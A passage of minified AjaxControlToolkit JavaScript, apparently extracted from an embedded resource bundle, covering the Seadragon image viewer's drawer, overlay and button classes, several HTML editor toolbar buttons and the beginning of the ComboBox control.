AjaxControlToolkit.Seadragon.Rect(a.x,a.y,a.width,a.height);b.placement=a instanceof AjaxControlToolkit.Seadragon.Point?d:AjaxControlToolkit.Seadragon.OverlayPlacement.TOP_LEFT;b.position=new AjaxControlToolkit.Seadragon.Point(a.x,a.y);b.size=new AjaxControlToolkit.Seadragon.Point(a.width,a.height);b.style=c.style};AjaxControlToolkit.Seadragon.Overlay.prototype={adjust:function(a,b){switch(this.placement){case AjaxControlToolkit.Seadragon.OverlayPlacement.TOP_LEFT:break;case AjaxControlToolkit.Seadragon.OverlayPlacement.TOP:a.x-=b.x/2;break;case AjaxControlToolkit.Seadragon.OverlayPlacement.TOP_RIGHT:a.x-=b.x;break;case AjaxControlToolkit.Seadragon.OverlayPlacement.RIGHT:a.x-=b.x;a.y-=b.y/2;break;case AjaxControlToolkit.Seadragon.OverlayPlacement.BOTTOM_RIGHT:a.x-=b.x;a.y-=b.y;break;case AjaxControlToolkit.Seadragon.OverlayPlacement.BOTTOM:a.x-=b.x/2;a.y-=b.y;break;case AjaxControlToolkit.Seadragon.OverlayPlacement.BOTTOM_LEFT:a.y-=b.y;break;case AjaxControlToolkit.Seadragon.OverlayPlacement.LEFT:a.y-=b.y/2;break;case AjaxControlToolkit.Seadragon.OverlayPlacement.CENTER:default:a.x-=b.x/2;a.y-=b.y/2}},destroy:function(){var b=this.elmt,a=this.style;b.parentNode&&b.parentNode.removeChild(b);a.top="";a.left="";a.position="";if(this.scales){a.width="";a.height=""}},drawHTML:function(g){var e="px",a=this,f=a.elmt,c=a.style,h=a.scales;f.parentNode!=g&&g.appendChild(f);if(!h)a.size=Seadragon.Utils.getElementSize(f);var b=a.position,d=a.size;a.adjust(b,d);b=b.apply(Math.floor);d=d.apply(Math.ceil);c.left=b.x+e;c.top=b.y+e;c.position="absolute";if(h){c.width=d.x+e;c.height=d.y+e}},update:function(a,b){this.scales=a instanceof AjaxControlToolkit.Seadragon.Rect;this.bounds=new AjaxControlToolkit.Seadragon.Rect(a.x,a.y,a.width,a.height);this.placement=a instanceof AjaxControlToolkit.Seadragon.Point?b:AjaxControlToolkit.Seadragon.OverlayPlacement.TOP_LEFT}};AjaxControlToolkit.Seadragon.Overlay.registerClass("AjaxControlToolkit.Seadragon.Overlay",null,Sys.IDisposable);AjaxControlToolkit.Seadragon.Drawer=function(b,c,d){var a=this;a._container=Seadragon.Utils.getElement(d);a._canvas=Seadragon.Utils.makeNeutralElement(useCanvas?"canvas":"div");a._context=useCanvas?a._canvas.getContext("2d"):null;a._viewport=c;a._source=b;a.config=a._viewport.config;a._imageLoader=new AjaxControlToolkit.Seadragon.ImageLoader(a.config.imageLoaderLimit);a._profiler=new AjaxControlToolkit.Seadragon.Profiler;a._minLevel=b.minLevel;a._maxLevel=b.maxLevel;a._tileSize=b.tileSize;a._tileOverlap=b.tileOverlap;a._normHeight=b.dimensions.y/b.dimensions.x;a._cacheNumTiles={};a._cachePixelRatios={};a._tilesMatrix={};a._tilesLoaded=[];a._coverage={};a._overlays=[];a._lastDrawn=[];a._lastResetTime=0;a._midUpdate=false;a._updateAgain=true;a.elmt=a._container;a._init()};AjaxControlToolkit.Seadragon.Drawer.prototype={dispose:function(){},_init:function(){var a=this;a._canvas.style.width="100%";a._canvas.style.height="100%";a._canvas.style.position="absolute";a._container.style.textAlign="left";a._container.appendChild(a._canvas)},_compareTiles:function(b,a){if(!b)return a;if(a.visibility>b.visibility)return a;else if(a.visibility==b.visibility)if(a.distance<b.distance)return a;return b},_getNumTiles:function(b){var a=this;if(!a._cacheNumTiles[b])a._cacheNumTiles[b]=a._source.getNumTiles(b);return a._cacheNumTiles[b]},_getPixelRatio:function(b){var a=this;if(!a._cachePixelRatios[b])a._cachePixelRatios[b]=a._source.getPixelRatio(b);return a._cachePixelRatios[b]},_getTile:function(b,c,d,l,e,f){var a=this;if(!a._tilesMatrix[b])a._tilesMatrix[b]={};if(!a._tilesMatrix[b][c])a._tilesMatrix[b][c]={};if(!a._tilesMatrix[b][c][d]){var g=(e+c%e)%e,h=(f+d%f)%f,i=a._source.getTileBounds(b,g,h),k=a._source.tileExists(b,g,h),m=a._source.getTileUrl(b,g,h);i.x+=1*(c-g)/e;i.y+=a._normHeight*(d-h)/f;a._tilesMatrix[b][c][d]=new AjaxControlToolkit.Seadragon.Tile(b,c,d,i,k,m)}var j=a._tilesMatrix[b][c][d];j.lastTouchTime=l;return j},_loadTile:function(a,b){a.loading=this._imageLoader.loadImage(a.url,Seadragon.Utils.createCallback(null,Function.createDelegate(this,this._onTileLoad),a,b))},_onTileLoad:function(b,m,j){var a=this;b.loading=false;if(a._midUpdate){Seadragon.Debug.error("Tile load callback in middle of drawing routine.");return}else if(!j){Seadragon.Debug.log("Tile "+b+" failed to load: "+b.url);b.exists=false;return}else if(m<a._lastResetTime){Seadragon.Debug.log("Ignoring tile "+b+" loaded before reset: "+b.url);return}b.loaded=true;b.image=j;var g=a._tilesLoaded.length;if(a._tilesLoaded.length>=QUOTA){for(var n=Math.ceil(Math.log(a._tileSize)/Math.log(2)),c=null,f=-1,e=a._tilesLoaded.length-1;e>=0;e--){var d=a._tilesLoaded[e];if(d.level<=a._cutoff||d.beingDrawn)continue;else if(!c){c=d;f=e;continue}var i=d.lastTouchTime,h=c.lastTouchTime,l=d.level,k=c.level;if(i<h||i==h&&l>k){c=d;f=e}}if(c&&f>=0){c.unload();g=f}}a._tilesLoaded[g]=b;a._updateAgain=true},_clearTiles:function(){this._tilesMatrix={};this._tilesLoaded=[]},_providesCoverage:function(b,c,f){var a=this;if(!a._coverage[b])return false;if(c===undefined||f===undefined){var e=a._coverage[b];for(var g in e)if(e.hasOwnProperty(g)){var d=e[g];for(var h in d)if(d.hasOwnProperty(h)&&!d[h])return false}return true}return a._coverage[b][c]===undefined||a._coverage[b][c][f]===undefined||a._coverage[b][c][f]===true},_isCovered:function(b,c,d){var a=this;if(c===undefined||d===undefined)return a._providesCoverage(b+1);else return a._providesCoverage(b+1,2*c,2*d)&&a._providesCoverage(b+1,2*c,2*d+1)&&a._providesCoverage(b+1,2*c+1,2*d)&&a._providesCoverage(b+1,2*c+1,2*d+1)},_setCoverage:function(a,c,e,d){var b=this;if(!b._coverage[a]){Seadragon.Debug.error("Setting coverage for a tile before its level's coverage has been reset: "+a);return}if(!b._coverage[a][c])b._coverage[a][c]={};b._coverage[a][c][e]=d},_resetCoverage:function(a){this._coverage[a]={}},_compareTiles:function(b,a){if(!b)return a;if(a.visibility>b.visibility)return a;else if(a.visibility==b.visibility)if(a.distance<b.distance)return a;return b},_getOverlayIndex:function(b){for(var a=this._overlays.length-1;a>=0;a--)if(this._overlays[a].elmt==b)return a;return -1},_updateActual:function(){var c=true,e=false,a=this;a._updateAgain=e;var r=a._canvas,R=a._context,gb=a._container,K=useCanvas,m=a._lastDrawn;while(m.length>0){var b=m.pop();b.beingDrawn=e}var H=a._viewport.getContainerSize(),F=H.x,D=H.y;r.innerHTML="";if(K){r.width=F;r.height=D;R.clearRect(0,0,F,D)}var C=a._viewport.getBounds(c),h=C.getTopLeft(),g=C.getBottomRight();if(!a.config.wrapHorizontal&&(g.x<0||h.x>1))return;else if(!a.config.wrapVertical&&(g.y<0||h.y>a._normHeight))return;var kb=Math.abs,mb=Math.ceil,U=Math.floor,t=Math.log,y=Math.max,f=Math.min,bb=a.config.alwaysBlend,B=1e3*a.config.blendTime,W=a.config.immediateRender,u=a.config.minZoomDimension,lb=a.config.minImageRatio,E=a.config.wrapHorizontal,I=a.config.wrapVertical;if(!E){h.x=y(h.x,0);g.x=f(g.x,1)}if(!I){h.y=y(h.y,0);g.y=f(g.y,a._normHeight)}var s=null,p=e,n=(new Date).getTime(),Y=a._viewport.pixelFromPoint(a._viewport.getCenter()),fb=a._viewport.deltaPixelsFromPoints(a._source.getPixelRatio(0),e).x,z=W?1:fb;u=u||64;var o=y(a._minLevel,U(t(u)/t(2))),eb=a._viewport.deltaPixelsFromPoints(a._source.getPixelRatio(0),c).x,G=f(a._maxLevel,U(t(eb/MIN_PIXEL_RATIO)/t(2)));o=f(o,G);for(var d=G;d>=o;d--){var M=e,A=a._viewport.deltaPixelsFromPoints(a._source.getPixelRatio(d),c).x;if(!p&&A>=MIN_PIXEL_RATIO||d==o){M=c;p=c}else if(!p)continue;a._resetCoverage(d);var Z=f(1,(A-.5)/.5),V=a._viewport.deltaPixelsFromPoints(a._source.getPixelRatio(d),e).x,X=z/kb(z-V),T=a._source.getTileAtPoint(d,h),k=a._source.getTileAtPoint(d,g),Q=a._getNumTiles(d),N=Q.x,O=Q.y;if(!E)k.x=f(k.x,N-1);if(!I)k.y=f(k.y,O-1);for(var i=T.x;i<=k.x;i++)for(var j=T.y;j<=k.y;j++){var b=a._getTile(d,i,j,n,N,O),v=M;a._setCoverage(d,i,j,e);if(!b.exists)continue;if(p&&!v)if(a._isCovered(d,i,j))a._setCoverage(d,i,j,c);else v=c;if(!v)continue;var P=b.bounds.getTopLeft(),J=b.bounds.getSize(),hb=a._viewport.pixelFromPoint(P,c),x=a._viewport.deltaPixelsFromPoints(J,c);if(!a._tileOverlap)x=x.plus(new AjaxControlToolkit.Seadragon.Point(1,1));var ib=a._viewport.pixelFromPoint(P,e),jb=a._viewport.deltaPixelsFromPoints(J,e),db=ib.plus(jb.divide(2)),ab=Y.distanceTo(db);b.position=hb;b.size=x;b.distance=ab;b.visibility=X;if(b.loaded){if(!b.blendStart)b.blendStart=n;var L=n-b.blendStart,w=f(1,L/B);if(bb)w*=Z;b.opacity=w;m.push(b);if(w==1)a._setCoverage(d,i,j,c);else if(L<B)updateAgain=c}else if(!b.Loading)s=a._compareTiles(s,b)}if(a._providesCoverage(d))break}for(var l=m.length-1;l>=0;l--){var b=m[l];if(K)b.drawCanvas(R);else b.drawHTML(r);b.beingDrawn=c}for(var cb=a._overlays.length,l=0;l<cb;l++){var q=a._overlays[l],S=q.bounds;q.position=a._viewport.pixelFromPoint(S.getTopLeft(),c);q.size=a._viewport.deltaPixelsFromPoints(S.getSize(),c);q.drawHTML(gb)}if(s){a._loadTile(s,n);a._updateAgain=c}},addOverlay:function(a,c,b){var a=Seadragon.Utils.getElement(a);if(this._getOverlayIndex(a)>=0)return;this._overlays.push(new AjaxControlToolkit.Seadragon.Overlay(a,c,b));this._updateAgain=true},updateOverlay:function(a,d,c){var a=Seadragon.Utils.getElement(a),b=this._getOverlayIndex(a);if(b>=0){this._overlays[b].update(d,c);this._updateAgain=true}},removeOverlay:function(c){var a=this,c=Seadragon.Utils.getElement(c),b=a._getOverlayIndex(c);if(b>=0){a._overlays[b].destroy();a._overlays.splice(b,1);a._updateAgain=true}},clearOverlays:function(){while(this._overlays.length>0){this._overlays.pop().destroy();this._updateAgain=true}},needsUpdate:function(){return this._updateAgain},numTilesLoaded:function(){return this._tilesLoaded.length},reset:function(){this._clearTiles();this._lastResetTime=(new Date).getTime();this._updateAgain=true},update:function(){var a=this;a._profiler.beginUpdate();a._midUpdate=true;a._updateActual();a._midUpdate=false;a._profiler.endUpdate()},idle:function(){}};AjaxControlToolkit.Seadragon.Drawer.registerClass("AjaxControlToolkit.Seadragon.Drawer",null,Sys.IDisposable); Type.registerNamespace("AjaxControlToolkit.Seadragon");Type.registerNamespace("Seadragon");AjaxControlToolkit.Seadragon.ButtonState=function(){throw Error.invalidOperation();};AjaxControlToolkit.Seadragon.ButtonState.prototype={REST:0,GROUP:1,HOVER:2,DOWN:3};AjaxControlToolkit.Seadragon.ButtonState.registerEnum("AjaxControlToolkit.Seadragon.ButtonState",false);AjaxControlToolkit.Seadragon.Button=function(){var b=null,a=this;AjaxControlToolkit.Seadragon.Button.initializeBase(a);a._tooltip=b;a._srcRest=b;a._srcGroup=b;a._srcHover=b;a._srcDown=b;a._button=b;a.config=b};AjaxControlToolkit.Seadragon.Button.prototype={initialize:function(){var a=this;AjaxControlToolkit.Seadragon.Button.callBaseMethod(a,"initialize");a._button=Seadragon.Utils.makeNeutralElement("span");a._currentState=AjaxControlToolkit.Seadragon.ButtonState.GROUP;a._tracker=new Seadragon.MouseTracker(a._button,a.config.clickTimeThreshold,a.config.clickDistThreshold);a._imgRest=Seadragon.Utils.makeTransparentImage(a._srcRest);a._imgGroup=Seadragon.Utils.makeTransparentImage(a._srcGroup);a._imgHover=Seadragon.Utils.makeTransparentImage(a._srcHover);a._imgDown=Seadragon.Utils.makeTransparentImage(a._srcDown);a._fadeDelay=0;a._fadeLength=2e3;a._fadeBeginTime=null;a._shouldFade=false;a._button.style.display="inline-block";a._button.style.position="relative";a._button.title=a._tooltip;a._button.appendChild(a._imgRest);a._button.appendChild(a._imgGroup);a._button.appendChild(a._imgHover);a._button.appendChild(a._imgDown);var e=a._imgRest.style,d=a._imgGroup.style,b=a._imgHover.style,c=a._imgDown.style;d.position=b.position=c.position="absolute";d.top=b.top=c.top="0px";d.left=b.left=c.left="0px";b.visibility=c.visibility="hidden";if(Seadragon.Utils.getBrowser()==Seadragon.Browser.FIREFOX&&Seadragon.Utils.getBrowserVersion()<3)d.top=b.top=c.top="";a._tracker.enterHandler=Function.createDelegate(a,a._enterHandler);a._tracker.exitHandler=Function.createDelegate(a,a._exitHandler);a._tracker.pressHandler=Function.createDelegate(a,a._pressHandler);a._tracker.releaseHandler=Function.createDelegate(a,a._releaseHandler);a._tracker.clickHandler=Function.createDelegate(a,a._clickHandler);a._tracker.setTracking(true);a._outTo(AjaxControlToolkit.Seadragon.ButtonState.REST)},dispose:function(){},_scheduleFade:function(){window.setTimeout(Function.createDelegate(this,this._updateFade),20)},_updateFade:function(){var b=this;if(b._shouldFade){var c=(new Date).getTime(),d=c-b._fadeBeginTime,a=1-d/b._fadeLength;a=Math.min(1,a);a=Math.max(0,a);Seadragon.Utils.setElementOpacity(b._imgGroup,a,true);a>0&&b._scheduleFade()}},_beginFading:function(){var a=this;a._shouldFade=true;a._fadeBeginTime=(new Date).getTime()+a._fadeDelay;window.setTimeout(Function.createDelegate(a,a._scheduleFade),a._fadeDelay)},_stopFading:function(){this._shouldFade=false;Seadragon.Utils.setElementOpacity(this._imgGroup,1,true)},_inTo:function(b){var a=this;if(b>=AjaxControlToolkit.Seadragon.ButtonState.GROUP&&a._currentState==AjaxControlToolkit.Seadragon.ButtonState.REST){a._stopFading();a._currentState=AjaxControlToolkit.Seadragon.ButtonState.GROUP}if(b>=AjaxControlToolkit.Seadragon.ButtonState.HOVER&&a._currentState==AjaxControlToolkit.Seadragon.ButtonState.GROUP){a._imgHover.style.visibility="";a._currentState=AjaxControlToolkit.Seadragon.ButtonState.HOVER}if(b>=AjaxControlToolkit.Seadragon.ButtonState.DOWN&&a._currentState==AjaxControlToolkit.Seadragon.ButtonState.HOVER){a._imgDown.style.visibility="";a._currentState=AjaxControlToolkit.Seadragon.ButtonState.DOWN}},_outTo:function(b){var a=this;if(b<=AjaxControlToolkit.Seadragon.ButtonState.HOVER&&a._currentState==AjaxControlToolkit.Seadragon.ButtonState.DOWN){a._imgDown.style.visibility="hidden";a._currentState=AjaxControlToolkit.Seadragon.ButtonState.HOVER}if(b<=AjaxControlToolkit.Seadragon.ButtonState.GROUP&&a._currentState==AjaxControlToolkit.Seadragon.ButtonState.HOVER){a._imgHover.style.visibility="hidden";a._currentState=AjaxControlToolkit.Seadragon.ButtonState.GROUP}if(a._newState<=AjaxControlToolkit.Seadragon.ButtonState.REST&&a._currentState==AjaxControlToolkit.Seadragon.ButtonState.GROUP){a._beginFading();a._currentState=AjaxControlToolkit.Seadragon.ButtonState.REST}},_enterHandler:function(e,d,b,c){var a=this;if(b){a._inTo(AjaxControlToolkit.Seadragon.ButtonState.DOWN);a._raiseEvent("onEnter",a)}else!c&&a._inTo(AjaxControlToolkit.Seadragon.ButtonState.HOVER)},_exitHandler:function(d,c,a){this._outTo(AjaxControlToolkit.Seadragon.ButtonState.GROUP);a&&this._raiseEvent("onExit",this)},_pressHandler:function(){this._inTo(AjaxControlToolkit.Seadragon.ButtonState.DOWN);this._raiseEvent("onPress",this)},_releaseHandler:function(e,d,b,c){var a=this;if(b&&c){a._outTo(AjaxControlToolkit.Seadragon.ButtonState.HOVER);a._raiseEvent("onRelease",a)}else if(b)a._outTo(AjaxControlToolkit.Seadragon.ButtonState.GROUP);else a._inTo(AjaxControlToolkit.Seadragon.ButtonState.HOVER)},_clickHandler:function(c,b,a){a&&this._raiseEvent("onClick",this)},_raiseEvent:function(c,a){var b=this.get_events().getHandler(c);if(b){if(!a)a=Sys.EventArgs.Empty;b(this,a)}},get_element:function(){return this._button},get_tooltip:function(){return this._tooltip},set_tooltip:function(a){this._tooltip=a},get_config:function(){return this.config},set_config:function(a){this.config=a},get_srcRest:function(){return this._srcRest},set_srcRest:function(a){this._srcRest=a},get_srcGroup:function(){return this._srcGroup},set_srcGroup:function(a){this._srcGroup=a},get_srcHover:function(){return this._srcHover},set_srcHover:function(a){this._srcHover=a},get_srcDown:function(){return this._srcDown},set_srcDown:function(a){this._srcDown=a},add_onPress:function(a){this.get_events().addHandler("onPress",a)},remove_onPress:function(a){this.get_events().removeHandler("onPress",a)},add_onClick:function(a){this.get_events().addHandler("onClick",a)},remove_onClick:function(a){this.get_events().removeHandler("onClick",a)},add_onEnter:function(a){this.get_events().addHandler("onEnter",a)},remove_onEnter:function(a){this.get_events().removeHandler("onEnter",a)},add_onRelease:function(a){this.get_events().addHandler("onRelease",a)},remove_onRelease:function(a){this.get_events().removeHandler("onRelease",a)},add_onExit:function(a){this.get_events().addHandler("onExit",a)},remove_onExit:function(a){this.get_events().removeHandler("onExit",a)},notifyGroupEnter:function(){this._inTo(AjaxControlToolkit.Seadragon.ButtonState.GROUP)},notifyGroupExit:function(){this._outTo(AjaxControlToolkit.Seadragon.ButtonState.REST)}};AjaxControlToolkit.Seadragon.Button.registerClass("AjaxControlToolkit.Seadragon.Button",Sys.Component);AjaxControlToolkit.Seadragon.ButtonGroup=function(){var a=this;AjaxControlToolkit.Seadragon.ButtonGroup.initializeBase(a);a._buttons=null;a._group=null;a.config=null};AjaxControlToolkit.Seadragon.ButtonGroup.prototype={initialize:function(){var a=this;AjaxControlToolkit.Seadragon.ButtonGroup.callBaseMethod(a,"initialize");a._group=Seadragon.Utils.makeNeutralElement("span");var d=a._buttons.concat([]),b=new Seadragon.MouseTracker(a._group,a.config.clickTimeThreshold,a.config.clickDistThreshold);a._group.style.display="inline-block";for(var c=0;c<d.length;c++)a._group.appendChild(d[c].get_element());b.enterHandler=Function.createDelegate(a,a._enterHandler);b.exitHandler=Function.createDelegate(a,a._exitHandler);b.releaseHandler=Function.createDelegate(a,a._releaseHandler);b.setTracking(true)},dispose:function(){},get_buttons:function(){return this._buttons},set_buttons:function(a){this._buttons=a},get_element:function(){return this._group},get_config:function(){return this.config},set_config:function(a){this.config=a},_enterHandler:function(){for(var a=0;a<this._buttons.length;a++)this._buttons[a].notifyGroupEnter()},_exitHandler:function(e,d,b){if(!b)for(var a=0;a<this._buttons.length;a++)this._buttons[a].notifyGroupExit()},_releaseHandler:function(e,d,c,b){if(!b)for(var a=0;a<this._buttons.length;a++)this._buttons[a].notifyGroupExit()},emulateEnter:function(){this._enterHandler()},emulateExit:function(){this._exitHandler()}};AjaxControlToolkit.Seadragon.ButtonGroup.registerClass("AjaxControlToolkit.Seadragon.ButtonGroup",Sys.Component);KType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo.callBaseMethod(this,"callMethod"))return false;this._designPanel.redo()}};AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);CType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft.prototype={checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft.callBaseMethod(this,"checkState"))return false;return this._designPanel._textAlignState("left")},callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("JustifyLeft")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.HtmlMode=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.HtmlMode.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.HtmlMode.prototype={};AjaxControlToolkit.HTMLEditor.ToolbarButton.HtmlMode.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.HtmlMode",AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor.callBaseMethod(this,"callMethod"))return false},setColor:function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor.callBaseMethod(this,"setColor",[a]);this._designPanel._execCommand("forecolor",false,a)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor",AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut.callBaseMethod(this,"callMethod"))return false;var a=this._designPanel;if(AjaxControlToolkit.HTMLEditor.isIE){a.openWait();setTimeout(function(){a.isShadowed();a._copyCut("x",true);a.closeWait()},0)}else a._copyCut("x",true)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("InsertUnorderedList")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);"xType.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.ComboBoxAutoCompleteMode=function(){};AjaxControlToolkit.ComboBoxAutoCompleteMode.prototype={None:0,Append:1,Suggest:2,SuggestAppend:3};AjaxControlToolkit.ComboBoxAutoCompleteMode.registerEnum("AjaxControlToolkit.ComboBoxAutoCompleteMode",false);AjaxControlToolkit.ComboBoxStyle=function(){};AjaxControlToolkit.ComboBoxStyle.prototype={DropDownList:0,DropDown:1,Simple:2};AjaxControlToolkit.ComboBoxStyle.registerEnum("AjaxControlToolkit.ComboBoxStyle",false);AjaxControlToolkit.ComboBoxTextSelectionStrategy=function(){};AjaxControlToolkit.ComboBoxTextSelectionStrategy.prototype={Unknown:0,Microsoft:1,"W3C":2};AjaxControlToolkit.ComboBoxTextSelectionStrategy.registerEnum("AjaxControlToolkit.ComboBoxTextSelectionStrategy",false);AjaxControlToolkit.ComboBox=function(d){var c=false,b=null,a=this;AjaxControlToolkit.ComboBox.initializeBase(a,[d]);a._comboTableControl=b;a._textBoxControl=b;a._optionListControl=b;a._buttonControl=b;a._hiddenFieldControl=b;a._autoPostBack=c;a._autoCompleteMode=b;a._dropDownStyle=b;a._caseSensitive=c;a._originalSelectedIndex=b;a._listItemHoverCssClass=b;a._popupBehavior=b;a._supressFocusHide=true;a._doingPostBack=c;a._textSelectionStrategy=b;a._highlightSuggestedItem=c;a._highlightedIndex=b;a._optionListItems=b;a._optionListItemHeight=b;a._optionListHeight=b;a._optionListWidth=b;a.clearDelegates()};AjaxControlToolkit.ComboBox.prototype={initialize:function(){var a=this;AjaxControlToolkit.ComboBox.callBaseMethod(a,"initialize");a.createDelegates();a.initializeTextBox();a.initializeButton();a.initializeOptionList();a.addHandlers()},dispose:function(){var a=this;if(a._popupBehavior){a._popupBehavior.remove_showing(a._popupShowingHandler);a._popupBehavior.remove_shown(a._popupShownHandler);a._popupBehavior.remove_hiding(a._popupHidingHandler);a._popupBehavior.dispose();a._popupBehavior=null}a.clearHandlers();a.clearDelegates();AjaxControlToolkit.ComboBox.callBaseMethod(a,"dispose")},createDelegates:function(){var a=this;a._listMouseOverHandler=Function.createDelegate(a,a._onListMouseOver);a._listMouseOutHandler=Function.createDelegate(a,a._onListMouseOut);a._listMouseDownHandler=Function.createDelegate(a,a._onListMouseDown);a._listClickHandler=Function.createDelegate(a,a._onListClick);a._listDragHandler=Function.createDelegate(a,a._onListDrag);a._listSelectStartHandler=Function.createDelegate(a,a._onListSelectStart);a._listMouseWheelHandler=Function.createDelegate(a,a._onListMouseWheel);a._textBoxClickHandler=Function.createDelegate(a,a._onTextBoxClick);a._textBoxFocusHandler=Function.createDelegate(a,a._onTextBoxFocus);a._textBoxBlurHandler=Function.createDelegate(a,a._onTextBoxBlur);a._textBoxKeyPressHandler=Function.createDelegate(a,a._onTextBoxKeyPress);a._textBoxKeyDownHandler=Function.createDelegate(a,a._onTextBoxKeyDown);a._buttonClickHandler=Function.createDelegate(a,a._onButtonClick);a._buttonBlurHandler=Function.createDelegate(a,a._onButtonBlur);a._buttonKeyDownHandler=Function.createDelegate(a,a._onButtonKeyDown);a._buttonKeyPressHandler=Function.createDelegate(a,a._onButtonKeyPress);a._documentClickHandler=Function.createDelegate(a,a._onDocumentClick);a._documentMouseWheelHandler=Function.createDelegate(a,a._onDocumentMouseWheel);a._popupShowingHandler=Function.createDelegate(a,a._popupShowing);a._popupShownHandler=Function.createDelegate(a,a._popupShown);a._popupHidingHandler=Function.createDelegate(a,a._popupHiding)},clearDelegates:function(){var a=null,b=this;b._listMouseOverHandler=a;b._listMouseOutHandler=a;b._listMouseDownHandler=a;b._listClickHandler=a;b._listDragHandler=a;b._listSelectStartHandler=a;b._listMouseWheelHandler=a;b._textBoxClickHandler=a;b._textBoxFocusHandler=a;b._textBoxBlurHandler=a;b._textBoxKeyPressHandler=a;b._textBoxKeyDownHandler=a;b._buttonClickHandler=a;b._buttonBlurHandler=a;b._buttonKeyDownHandler=a;b._buttonKeyPressHandler=a;b._documentClickHandler=a;b._documentMouseWheelHandler=a;b._popupShowingHandler=a;b._popupShownHandler=a;b._popupHidingHandler=a},addHandlers:function(){var c="DOMMouseScroll",b="undefined",a=this;$addHandlers(a.get_optionListControl(),{mouseover:a._listMouseOverHandler,mouseout:a._listMouseOutHandler,mousedown:a._listMouseDownHandler,click:a._listClickHandler,drag:a._listDragHandler,selectstart:a._listSelectStartHandler,mousewheel:a._listMouseWheelHandler},a);$addHandlers(a.get_textBoxControl(),{click:a._textBoxClickHandler,focus:a._textBoxFocusHandler,blur:a._textBoxBlurHandler,keypress:a._textBoxKeyPressHandler},a);(Sys.Browser.agent==Sys.Browser.InternetExplorer||Sys.Browser.agent===Sys.Browser.Safari||Sys.Browser.agent===Sys.Browser.WebKit)&&$addHandler(a.get_textBoxControl(),"keydown",a._textBoxKeyDownHandler);$addHandlers(a.get_buttonControl(),{click:a._buttonClickHandler,blur:a._buttonBlurHandler,keydown:a._buttonKeyDownHandler,keypress:a._buttonKeyPressHandler},a);$addHandlers(document,{click:a._documentClickHandler,mousewheel:a._documentMouseWheelHandler},a);if(typeof a.get_optionListControl().onmousewheel===b){a.get_optionListControl()._thisPrototype=a;if(typeof document.ajax__combobox_prototypes===b)document.ajax__combobox_prototypes=[];Array.add(document.ajax__combobox_prototypes,a);a.get_optionListControl().addEventListener(c,a._onListMouseWheel,false);document.addEventListener(c,a._onDocumentMouseWheel,false)}},clearHandlers:function(){$clearHandlers(this.get_optionListControl());$clearHandlers(this.get_textBoxControl());$clearHandlers(this.get_buttonControl());$clearHandlers(document)},initializeTextBox:function(){var a=this.get_textBoxControl().style;if(a.margin=="")a.margin="0px"},initializeButton:function(){var b=this,a=b.get_buttonControl().style;if(a.height==""&&b.get_textBoxControl().offsetHeight>=0)a.height=b.get_textBoxControl().offsetHeight+"px";if(a.width=="")a.width=a.height;if(a.margin=="")a.margin="0px";if(a.padding=="")a.padding="0px";b._buttonControl.style.visibility="visible"},initializeOptionList:function(){var a=this;if(a.get_optionListControl()==null){var 